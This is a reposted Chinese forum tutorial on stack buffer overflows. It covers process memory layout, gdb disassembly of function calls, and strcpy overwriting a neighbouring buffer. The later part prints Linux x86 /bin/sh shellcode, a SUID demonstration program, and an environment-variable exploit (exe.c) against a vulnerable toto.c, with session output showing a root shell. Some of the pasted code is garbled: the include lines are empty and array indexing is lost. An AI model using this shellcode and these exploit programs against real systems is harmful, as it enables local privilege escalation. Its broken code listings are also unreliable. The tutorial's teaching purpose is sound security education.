[原创]程序攻击原理(一)

zt371 发布于 2009/05/05 14:55
阅读 659
收藏 2

[这个贴子最后由e4gle在 2002/10/29 06:33pm 编辑]

by e4gle;
前言:
这篇文章我到现在还没写完,原因就是我太忙了,但我会尽力写完,想让大家知道什么才是高级的hack技巧,什么才是真正的hacking的乐趣,计算机网络世界的万物可以说是程序,攻击网络或者是计算机其实就是程序的攻击,这才是至高的hacking技巧,大家随我来。。。

Buffer Overflows介绍 
Generalities 
大多数的缓冲溢出攻击都是通过改变程序运行的流程到入侵者植入的恶意代码,其主要目的是为了取得超级用户的shell。原理是相当简单的:将恶意指令存放在buffer中,这段指令可以得到进程的控制权,从而达到攻击的目的

在这篇文档里我们主要介绍两项buffer overflow技术:stack overflows和heap overflows。 


Process memory 
Global organization 
当一个程序开始运行的时候,一些基本信息(指令,变量。。。)会事先装入内存,一个进程维护着它自己的一段内存空间,我们称为进程空间(上下文),它维护着进程所需要的代码段,堆栈段和数据段。


在进程空间的高地址区域存放着进程相关的环境变量以及参数:env串,arg串,env指针(如图1.1).


之后的内存空间由两部分组成,stack和heap,它们都在进程运行的时候被分配。

stack(栈)用来存放函数参数,局部变量,以及一些允许在一个函数调用之前找回stack的信息。。。stack遵循LIFO的原则(后进先出)来访问系统,并且向内存低地址方向增长。 

 

动态分配的变量存放在heap区;通常,调用malloc函数用来返回一个指针指向一个heap区地址。malloc是用户层的动态分配内存的函数,它总是在heap区分配一段连续的内存空间。 


.bss和.data区存放全局变量,和一些静态变量(在编译的时候分配)。.data区包含了静态已初始化的数据,.bss区则包含了未初始化的数据。


最后一个内存区域,.text,包含了程序指令代码和一些只读数据。



图 1.1: 进程空间组织图   


动口不如动手,我们举几个简单的例子可以让大家更好的理解,让我们看看每种变量不同存储方式: 


heap 
int main(){
char * tata = malloc(3);
...
}

tata是一个指针,它指向heap区的一段内存空间的起始地址。 

.bss 
char global;
int main (){
...
}


int main(){
static int bss_var;
...
}

global和bss_var将存储在.bss区。 

.data 
char global = 'a';
int main(){
...
}


int main(){
static char data_var = 'a';
...
}

global和data_var将存储在.data区. 

函数调用 
我们现在来分析一下内存(stack)里函数调用过程的细节,并且试着理解有关实现机制。

  

在unix系统里,一个函数调用的过程可以分为以下三步: 

准备堆栈: 保存当前栈帧指针。一个栈帧可以理解成堆栈里的一个逻辑单元,它描述一个函数的基本单元。一些函数需要的内存信息也被保存。 
调用: 函数的参数和返回地址被保存进堆栈,目的在于函数返回之后程序需要到哪里去继续执行 
返回(或结束): 恢复调用函数之前保存的原来的堆栈。 

下面一个简单的代码可以帮助大家理解以上介绍过程是如何工作的,并且这可以让更好掌握buffer overflow技术。

让我们看看这段代码: 

  

[e4gle@redhat72 e4gle]$ cat e4glecall.c 

  

int e4glecall(int a, int b, int c){
  int i=4;
  return (a+i);
}

int main(int argc, char **argv){
  e4glecall(0, 1, 2);
  return 0;
}

我们现在用gdb来反汇编上面编译好的程序,目的是为了更透彻的说明以上步骤。这里涉及两个重要的寄存器:指向当前栈帧的EBP,和指向栈顶的ESP。 

首先,我们看看main函数:

(gdb) disassemble main
Dump of assembler code for function main:
0x8048448 

;:       push   %ebp
0x8048449 ;:     mov    %esp,%ebp
0x804844b ;:     sub    $0x8,%esp

以上的是main函数的开始部分。如果要详细了解一个函数的细节,可以看后面的e4glecall函数。 


0x804844e ;:     sub    $0x4,%esp
0x8048451 ;:     push   $0x2
0x8048453 ;:    push   $0x1
0x8048455 ;:    push   $0x0
0x8048457 ;:    call   0x8048430 ;

e4glecall()函数的调用包含以上四个指令:三个参数压栈(反序排列),然后调用函数。

0x804845c ;:    add    $0x10,%esp        

以上指令描述e4glecall()函数返回到main()函数:将堆栈指针指向返回地址,所以必须使堆栈指针增加,因为堆栈是向内存的低地址方向增长的。这样,我们返回到了初始的环境,也就时e4glecall()调用之前。


0x804845f ;:    mov    $0x0,%eax
0x8048464 ;:    leave
0x8048465 ;:    ret
 
...
                    
End of assembler dump.

最后两条指令用于main()函数的返回。


好,现在让我们来看看e4glecall()函数:

(gdb) disassemble e4glecall
Dump of assembler code for function toto:
0x8048430 ;:  push   %ebp
0x8048431 ;:        mov    %esp,%ebp
0x8048433 ;:        sub    $0x4,%esp

以上代码是我们函数的初始阶段:保存当前环境(当前栈指针%ebp压栈),第二条指令使%ebp指向堆栈的顶端,第三条指令

为函数调用准备足够的堆栈空间(一般为局部变量准备)。

0x8048436 ;:        movl   $0x4,0xfffffffc(%ebp)
0x804843d ;:       mov    0xfffffffc(%ebp),%eax
0x8048440 ;:       add    0x8(%ebp),%eax
0x8048443 ;:       mov    %eax,%eax

这些是函数执行指令。
0x8048445 ;:       leave
0x8048446 ;:       ret
0x8048447 ;:       nop
End of assembler dump.
(gdb)

以上指令是函数返回部分,第一条指令使%ebp和%esp指针恢复到初始化前的值(注意,不是调用函数之前的值,所以栈指针指向的地址仍旧低于e4glecall()的参数地址)。第二条指令安排指令寄存器,该指令寄存器在每次函数返回的时候被访问,用来指定该在哪条指令继续执行。


以上的例子说明了在函数调用的时候堆栈的组织情况。在以后的介绍中,我们将比较关注内存分配上。假如一片内存区域被不小心破坏了,这就有可能使攻击者来扰乱堆栈,并且执行一些恶意代码。因为堆栈控制着函数的调用返回,也就是控制着程序的运行流程,通过扰乱堆栈来拿到程序的流程控制权就可以完成一次攻击了。

 

当一个函数返回时,下一条指令地址会从堆栈拷贝到EIP指针。因为这个地址是保存在堆栈的,所以如果我们能覆盖这个地址成新的地址的话,那么就有可能使程序在我们覆盖的新地址继续执行,我们再在此地址处放置我们的代码(称之为shellcode)或者此地址直接指向glibc库里面的一个函数指针(如system()),那么该程序就被我们控制了。

我们现在来看一下缓冲区,缓冲区也是作为局部变量被分配在堆栈的,而缓冲区一般又是可以提交给用户去定制的,所以一般的堆栈攻击都以缓冲区为载体。 


缓冲区,以及它有哪些可利用的安全问题 
在c语言里,字符串,或者缓冲区,都可以以一个指针来描述,该指针通常指向一片内存区域的首地址。并且对于缓冲区来说

都以出现NULL字节为缓冲区的结束标记,所以一个缓冲区的中间是不可能出现空字节的(这很重要)。也不能像计算内存空间那样计算buffer的大小,它的大小取决于字符的数量。


现在让我们更详细地来看看buffer在内存中的组织。 
 

首先,因为每个分配的缓冲区都是限制大小的,要防止所有的溢出攻击是相当困难的。这是我们经常讨论的,当strcpy函数用的不够谨慎,就可以使用户可以控制缓冲区,他可以拷贝一个大的缓冲区到另一个较小的缓冲区中,那么这时候就发生了缓冲溢出。 

 

这里有一个内存的组织示意图:第一个例子是wxy缓冲区在内存的存储情况,第二个是两个连续的缓冲区wxy和abcde在内存中的存储情况。 



图 1.2:buffer在内存中的存储   



注意一下右边的例子中,这里有两个未利用的字节,是因为内存中存储数据是以一个字(四个字节)对齐的。因而,一个6格字节的buffer就需要两个字(8个字节)的内存空间。这样实际上该buffer只用了6个字节,当然就有两个字节空着了。


我们来看看以下程序示范了buffer的一些安全问题:
#include ;

int main(int argc, char **argv){
  char jayce[4]="Oum";
  char herc[8]="Gillian";
  
  strcpy(herc, "BrookFlora");//在redhat7.2上有些变化,需要提交更多的字节来覆盖jayce
  printf("%s\n", jayce);
  
  return 0;
}
//redhat7.2似乎在两个buffer之间多分配了4个字节的内存空间,所以我们要修改一下测试程序。
#include ;

int main(int argc, char **argv){
  char jayce[4]="Oum";
  char herc[8]="Gillian";

  strcpy(herc, "BrookFlorabcde");//bcde这四个字节是多覆盖的
  printf("%s\n", jayce);

  return 0;
}
我们测试一下:
[e4gle@redhat72 e4gle]$ ./buff
de
[e4gle@redhat72 e4gle]$
效果是一样的:)

以上代码中的两个buffer在堆栈中的存储情况如图1.3所示。当向那个8个字节大小的buffer中拷贝十个字节的字符的时候,另一个buffer的内容就被改变了。

  

这就导致了缓冲溢出,下面是在strcpy调用之前和之后的内存组织图: 



图 1.3: Overflow consequences   


我们编译运行该程序:

[e4gle@sparc7 e4gle]$ gcc -o buff buff.c
[e4gle@sparc7 e4gle]$ ./buff
ra
[e4gle@sparc7 e4gle]$
//这里我是用solairs7来测试的,这和体系是无关的,只是redhat7.2有些小小的区别(如上),我也懒得去改那个图了,原理都差不多。
这种覆盖技术被广泛运用到缓冲溢出攻击当中. 


堆栈溢出 
前面介绍了一些内存溢出的基本概念,现在我们看看堆栈溢出的具体原理。


大部分的缓冲溢出攻击都是发生在堆栈,因为缓冲区就是在堆栈里定义的,而且攻击者更容易控制堆栈的数据。首先,我们

介绍一般的执行恶意代码的方法(我们叫此恶意代码为shellcode,它能给我们一个root shell)。然后,我们举几个实例来

说明。

原理 
这里我们注意一下激活纪录这个概念。每当一个函数调用发生时,调用者会在堆栈中留下一个激活纪录,它包含了函数结束时返回的地址。攻击者通过溢出这些自动变量,使这个返回地址指向攻击代码。通过改变程序的返回地址,当函数调用结束时,程序就跳转到攻击者设定的地址,而不是原先的地址。这类的缓冲区溢出被称为“stack smashing attack”,是目前常用的缓冲区溢出攻击方式。


另一个重要概念是EIP寄存器,它保存着程序要执行的下一条指令的地址,我们如果向控制程序的运行流程,就要使EIP保存我们给出的指令地址。

 

当一个程序在运行的时候,下一个执行指令的地址会被保存入堆栈,所以,如果我们成功修改这个值,那么我们就可以强制让 

EIP指向我们想要的地址去执行。然后,当函数返回的时候,程序就会改变运行流程到我们的恶意代码。

  

然而,要精确定位返回地址的位置也并不是那么容易。 


覆盖整个内存区域是非常简单的,我们可以为每四个字节都填上指令地址,这样,可以增加覆盖的精确性。 


在内存区域中定位shellcode的地址也不是一件容易的事情。我们需要计算出堆栈指针到缓冲区的距离,但是我们只知道问题程序的缓冲区的位置(通过反汇编取得)。所以,我们把shellcode放到缓冲区的中间,然后在缓冲区的起始位置开始填充NOP指令。NOP指令什么也不做,这可以增加我们猜测shellcode地址的命中率,这样即使我们的猜测地址落在了NOP上,那么就会继续往下直到找到我们的shellcode为止。


图解 
在上一节中,我们示范了如何通过覆盖缓冲区来达到访问内存的方法,现在,让我们再来会议一下一个函数调用是如何工作的。如图2.1。



图 2.1: 函数调用   


从以上例子和我们先前的例子中我们可以看出:假如一个函数允许我们拷贝任意字节到一个缓冲区中的话,这很有可能导致我们可以覆盖到环境变量地址,甚至此函数的返回地址即下一条执行指令的地址。 

  

利用这种方法我们可以执行放置在内存中的任意恶意代码,这需要足够的缓冲区来包含我们的shellcode代码,如果不足够大, 

会导致段错误。。。 

  

所以,当函数返回的时候,我们覆盖的地址会拷贝到EIP中,并且将指向我们溢出的目标缓冲区;然后,函数一旦结束,我们的恶意质量将被执行。 


简单演示 
这里给出一个缓冲溢出的简单演示。


shellcode作为变量将被拷贝进入我们想要溢出的缓冲区,其实就是x86操作码。为了使该程序更具危害性,我们给该演示程序加上SUID权限,这样我们可以直接通过该漏洞程序得到root权限。

#include ;
#include ;

char shellcode[] =
    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
    "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
    "\x80\xe8\xdc\xff\xff\xff/bin/sh";

char large_string[128];

int main(int argc, char **argv){
    char buffer[96];
    int i;
    long *long_ptr = (long *) large_string;

   
    for (i = 0; i < 32; i++)
        *(long_ptr + i) = (int) buffer;
    for (i = 0; i < (int) strlen(shellcode); i++)
        large_string = shellcode;
    strcpy(buffer, large_string);
    return 0;
}

让我们编译执行它:
[e4gle@r62 e4gle]$ gcc -o bof bof.c 
[e4gle@r62 e4gle]$ su 
Password: 
[e4gle@r62 e4gle]# chown root.root a.out
[e4gle@r62 e4gle]# chmod u+s a.out
[e4gle@r62 e4gle]$ whoami
e4gle
[e4gle@r62 e4gle]$ ./bof
sh-2.05# whoami
root
//e4gle注:此程序在redhat7.2中无法得到root权限,是因为redhat7.2在bash中做了限制,所以要拿到root,必须在shellcode里实现
//一个shell的功能,这里用redhat6.2做演示。
 

这里利用两个值的注意的安全隐患,一个是堆栈溢出,一个是SUID权位的程序,此两者结合起来能使我们可以拿到root权限,一般的缓冲溢出都是攻击SUID程序才能提升权限。 


利用环境变量 
除了用shellcode直接作为变量来填入目标缓冲区的方法外,我们还可以利用环境变量传递shellcode。原理是,用exe.c这段代码来设置一个环境变量,当然这个环境变量包含我们的shellcode,然后调用一个包含有问题的缓冲区的程序(toto.c),把设置的环境变量拷贝进缓冲区。我们还是来看看例子比较容易理解。


这里是一个有问题的程序(toto.c):
#include ;
#include ;

int main(int argc, char **argv){
  char buffer[96];
  
  printf("- %p -\n", &buffer);
  strcpy(buffer, getenv("KIRIKA"));

  return 0;
}

为了便于测试,我们打印出缓冲区的地址,在实际操作中,这个地址我们可以利用gdb或者暴力猜解来得到。 

  

当getenv返回KIRIKA环境变量时,它将被拷贝进溢出的缓冲区,从而拿到一个shell。 


这是攻击程序 (exe.c):
#include ;
#include ;

extern char **environ;

int main(int argc, char **argv){
    char large_string[128];
    long *long_ptr = (long *) large_string;
    int i;
    char shellcode[] =
      "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
      "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
      "\x80\xe8\xdc\xff\xff\xff/bin/sh";
    for (i = 0; i < 32; i++)
      *(long_ptr + i) = (int) strtoul(argv[2], NULL, 16); 
    for (i = 0; i < (int) strlen(shellcode); i++)
      large_string = shellcode;
    
    setenv("KIRIKA", large_string, 1);
    execle(argv[1], argv[1], NULL, environ);

    return 0;
}

首先,此程序需要两个参数: 

弱点程序的路径 
此程序中缓冲区的精确地址 


然后,此程序将目标缓冲区的地址填充在large_string的开始,然后将shellcode填充在其后。这样的成功率不是很高。


最后,调用execle来执行toto程序,并且接受我们定制好的环境变量。



让我们看看它如何工作 (我们还是把toto程序设置SUID属性,属主为root): 

[e4gle@redhat72 e4gle]$ whoami 
e4gle
[e4gle@redhat72 e4gle]$ ./exe toto bffffad0
- 0xbffffa20 -
Segmentation fault
[e4gle@redhat72 e4gle]$ ./exe toto 0xbffffa20
- 0xbffffa20 -
sh-2.05# whoami
root
sh-2.05#
ok:)成功!


未完


后语:后面会继续讲述更高级的程序攻击技巧,以及一些防范的手段,这段时间我的项目要压我到年底,等这个项目完了,会为大家全部奉上,希望大家耐心等待



加载中
返回顶部
顶部